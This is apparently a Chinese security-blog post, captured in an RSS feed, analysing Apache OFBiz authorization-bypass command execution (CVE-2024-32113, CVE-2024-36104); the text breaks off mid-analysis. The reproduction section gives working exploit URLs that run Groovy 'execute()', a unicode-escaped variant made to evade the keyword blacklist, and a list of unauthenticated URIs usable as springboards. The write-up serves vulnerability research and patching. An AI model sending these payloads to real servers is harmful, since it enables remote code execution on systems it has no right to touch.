<p><a href="2247488746">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6631126d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488746%26idx%3D1%26sn%3D3634dd7face9fa8b51e68605157ade44%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 12 Jul 2024 18:34:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache OFBiz 命令执行漏洞分析（CVE-2024-32113、CVE-2024-36104）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488707&amp;idx=1&amp;sn=b84579427ed989c61f0055c8a4c11f15</link>
      <description>通过目录遍历可以绕过授权验证实现命令执行。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2024-06-21 17:33</span> <span style="display: inline-block;">浙江</span>
</p>

<p>通过目录遍历可以绕过授权验证实现命令执行。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cf8e38c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6Ivj5QmjvbibZZ6egxsKHbBU0ficgkfCDgYdZenDbarAjaicg9x6cTNia7ZfA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">1.前言</span></p><section style="margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-13006" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-13006</a></span><br/><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd" target="_blank">https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd</a></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><br/></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-13092" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-13092</a></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"> <br/></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://lists.apache.org/thread/sv0xr8b1j7mmh5p37yldy9vmnzbodz2o" target="_blank">https://lists.apache.org/thread/sv0xr8b1j7mmh5p37yldy9vmnzbodz2o</a></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 24px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">通过目录遍历可以绕过授权验证实现命令执行。</span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 24px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">CVE-2024-32113:  <br/>

         Apache OfBiz &lt; 18.12.13 <br/>CVE-2024-36104:   <br/>

         Apache OfBiz &lt; 18.12.14</span></p><p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">2. 环境搭建</span></p><section style="margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">下载地址：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://archive.apache.org/dist/ofbiz/" target="_blank">https://archive.apache.org/dist/ofbiz/</a></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">解压后用 IDEA 打开，点击右侧栏 Gradle 中的 build 之后会生成一个 </span>biuld <span style="font-family: Cambria;font-variant: normal;text-transform: none;">目录，该目录下面会生成一个</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ofbiz.jar</span>，Run/Debug Configurations<span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 中会自动生成一个 Gradle 配置项；<br/>新增</span>JAR Application<span style="font-family: Cambria;font-variant: normal;text-transform: none;">，添加指定</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ofbiz.jar</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">路径。</span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="282" data-backw="560" data-imgfileid="100005039" data-ratio="0.5046296296296297" width="560.010009765625" data-type="png" data-w="1080" height="282.469970703125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=95b0a126&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvAMLPDyUlyKaWPe6lnH0Xxu1Z1LmeLO1PGtNkWkSFEEzh3M9TbZQUxw%2F640%3Fwx_fmt%3Dpng"/></span> <o:page></o:page></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">启动这个jar。<br/></span></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> </span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="326" data-backw="560" data-imgfileid="100005037" data-ratio="0.5812206572769953" width="560.010009765625" data-type="png" data-w="1065" height="325.489990234375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7b8e3199&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6Iv1k1XJTJfWGL7elZeH3pACY6iapMOdrjWJT2dhiaRGxX5Oibic0hyibgzppw%2F640%3Fwx_fmt%3Dpng"/></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">能成功访问</span><a href="https://localhost:8443/webtools" target="_blank">https://localhost:8443/webtools</a><span style="font-family: Cambria;font-variant: normal;text-transform: none;">就说明环境搭好了。</span></span><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><br/></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 24px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="177" data-backw="560" data-imgfileid="100005036" data-ratio="0.31584948688711517" width="560.010009765625" data-type="png" data-w="877" height="176.8800048828125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=22b87e45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6Ive2ttuKyc4aTIfo8g6CDGj9IEgK3uC9AldT9icUqZTribfbEicuwmJUibew%2F640%3Fwx_fmt%3Dpng"/></span></section><p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 漏洞复现</span></p><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">在调试分析的过程中发现，导致命令执行的关键原理跟目录遍历并没有绝对关系，与其说这是目录遍历导致的代码执行，不如说是授权检查绕过。<br/></span></span></section><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">基于 CVE-2024-51467 修复授权检查绕过的方法是修改 LoginWorker.checkLogin() 登录校验方法的返回逻辑，所以不能再通过传参来绕过授权检查。<br/></span></span></section><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">但是仍然可以从</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">securityAuth</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">入手，以不需要身份验证的 uri 为跳板来调用</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/ProgramExport</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">对应的视图。<br/></span></span></section><p style="margin-bottom: 24px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">（详情可回顾：</span></span><a href="https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488429&amp;idx=1&amp;sn=7feb3d221730a965bd93b0f2afdf97af&amp;chksm=cf841586f8f39c906bcc435bf4d689cd284afce976d87d261a7c91420a640829af70f5e89305&amp;token=1148006179&amp;lang=zh_CN&amp;scene=21#wechat_redirect" style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;" data-linktype="2"><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;">Apache OFBiz 命令执行漏洞分析</span></a><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">）</span></span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">直接构造 18.12.14 及之前版本通杀的路径 payload，不需要进行目录遍历。</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> <br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">/webtools/control/ListTimezones/ProgramExport?groovyProgram=<span class="code-snippet__string">&#39;calc.exe&#39;</span>.execute()       </span></code></pre></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="215" data-backw="560" data-imgfileid="100005038" data-ratio="0.38425925925925924" width="560.010009765625" data-type="png" data-w="1080" height="214.96002197265625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d10b2147&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvFDPXIaFLEctbiaoAq5REPFCBK5BALF1g8Ky22cQI5OicDzv0lkdo4RZA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">其中</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/ListTimezones</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">部分是可替换的，在 common-comtroller.xml 中，只要满足</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">auth=&#34;false&#34;</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">、以及</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">success</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">响应结果对应</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">type=&#34;view&#34;</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">的 uri 都可以进行利用。比如这些：forgotPassword、ListSetCompanies、showHelpPublic、getUiLabels、ListTimezones、ListLocales。<br/></span></span></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 24px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="125" data-backw="560" data-imgfileid="100005040" data-ratio="0.2222222222222222" width="560.010009765625" data-type="png" data-w="1080" height="124.57998657226562" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b3fcce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvvZSGibHJQOVbefNQgLMC21cqTlzovgdO0SgZIUbOgxDUKv7blQ7wVVQ%2F640%3Fwx_fmt%3Dpng"/></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">18.12.13 版本中，在 security.properties 中的黑名单里新增了</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">execute</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">等关键字；<br/></span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="116" data-backw="560" data-imgfileid="100005042" data-ratio="0.2064814814814815" width="560.010009765625" data-type="png" data-w="1080" height="115.55999755859375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=33da8a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvricHU0UbUvffVBY57icyu8iayxibOb52c5PwWpGrqzyKHRYfic7vdkwWjyg%2F640%3Fwx_fmt%3Dpng"/></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">所以 18.12.13 和 18.12.14 版本的 payload 需要对 </span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">groovyProgram</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 参数内容进行编码传入来绕过黑名单校验。</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">/webtools/control/ListSetCompanies/ProgramExport            </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">groovyProgram=\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029</span></code></pre></section><p style="margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="198" data-backw="560" data-imgfileid="100005045" data-ratio="0.3527777777777778" width="560.010009765625" data-type="png" data-w="1080" height="197.67999267578125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f277f9d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvmDrTosGBeBuCMBXFPfqBN1GCSuudNNgoXWhvddGRv0SruVH63FkEbw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/>uri </span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ListTimezones</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;">的</span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);"> auth</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 改为了 true，不能进行利用了，不过其他的 uri 仍然可以利用。</span></span></p><section style="margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="174" data-backw="560" data-imgfileid="100005041" data-ratio="0.3101851851851852" width="560.010009765625" data-type="png" data-w="1080" height="173.70001220703125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c2d5583f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvUtu4ibeeC3JCJscjfHHwOlVJU7bZGMxrVbAR8ekWUibatMCZSNmLevNA%2F640%3Fwx_fmt%3Dpng"/></span></section><p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞分析</span></p><p style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">接下来以 18.12.12 版本为例分析看看，如果请求的路径为</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/webtools/control/ListTimezones/./ProgramExport</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，在 ControlFilter.doFilter() 中，getRequestURI() 首先获取到的是</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/control/ListTimezones/./ProgramExport</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，经过规范化后去除了其中的</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">.</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，变成了</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/control/ListTimezones/ProgramExport</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">。</span></span></p><section style="margin-bottom: 16px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="316" data-backw="560" data-imgfileid="100005044" data-ratio="0.5638888888888889" width="560.010009765625" data-type="png" data-w="1080" height="315.5899963378906" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0216bc48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IveickNcYDZXyAJ23pibp9mviaGKh0KIkRibYYplWcPa1AWht749gYW3zBHw%2F640%3Fwx_fmt%3Dpng"/></span> <o:page></o:page></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">所以特殊符号在这一步都会被过滤掉，18.12.13 以及 18.12.14 版本的补丁都在围绕这一块代码进行修改补充，不过这并不是关键所在。<br/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><mpchecktext><br/></mpchecktext></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"></span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">接着断点 ControlServlet.doGet()，这时 request 中的路径就为</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/webtools/control/ListSetCompanies/ProgramExport</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">。   </span></span><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">       </span><br/></section><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-top: 0px;margin-bottom: 16px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="277" data-backw="560" data-imgfileid="100005043" data-ratio="0.49444444444444446" width="560.010009765625" data-type="png" data-w="1080" height="276.95001220703125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=92247c53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6Iv8EDjHSFZMicU68wefkXIthMuZ5QOELpInA1NLbud4B9DNSibjcqPvAYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">跟进 RequestHandler.doRequest()，看获取到的几个路径参数，path 为</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/ListSetCompanies/ProgramExport</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，requestUri 取的是 path 的第一部分</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ListSetCompanies</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，overrideViewUri 取的是路径的第二部分</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ProgramExport</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，如果没有就为 null；<br/></span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">rmaps 为</span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ListSetCompanies</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">对应的 requestMap，其中 </span></span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">securityAuth</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 属性为 false。 </span></span><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="411" data-backw="560" data-imgfileid="100005047" data-ratio="0.7333333333333333" width="560.010009765625" data-type="png" data-w="1080" height="410.7900085449219" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9e496aec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57N7FbtCB2G660pzdLdhz6IvhZXXWSRPm7akqQMQy4c5EJ8T2Xhz93hw72AsoXXeibcoguPba9ibcm7A%2F640%3Fwx_fmt%3Dpng"/></span> <span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><br/></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">继续向下看，到判断 </span><span style="font-size: 18px;color: rgb(11, 66, 188);font-family: Helvetica Neue;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">securityAuth</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"> 的值，为 false 则不进入 if 分支，也就不会调用 LoginWorker.checkLogin() 进行登录验证。</span><br/></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="250" data-backw="560" data-imgfileid="100005046" data-ratio="0.44722222222222224" width="560.010009765625" data-type="png" data-w="1080" height="250.44000244140625" style="width: 100%;height: auto;" 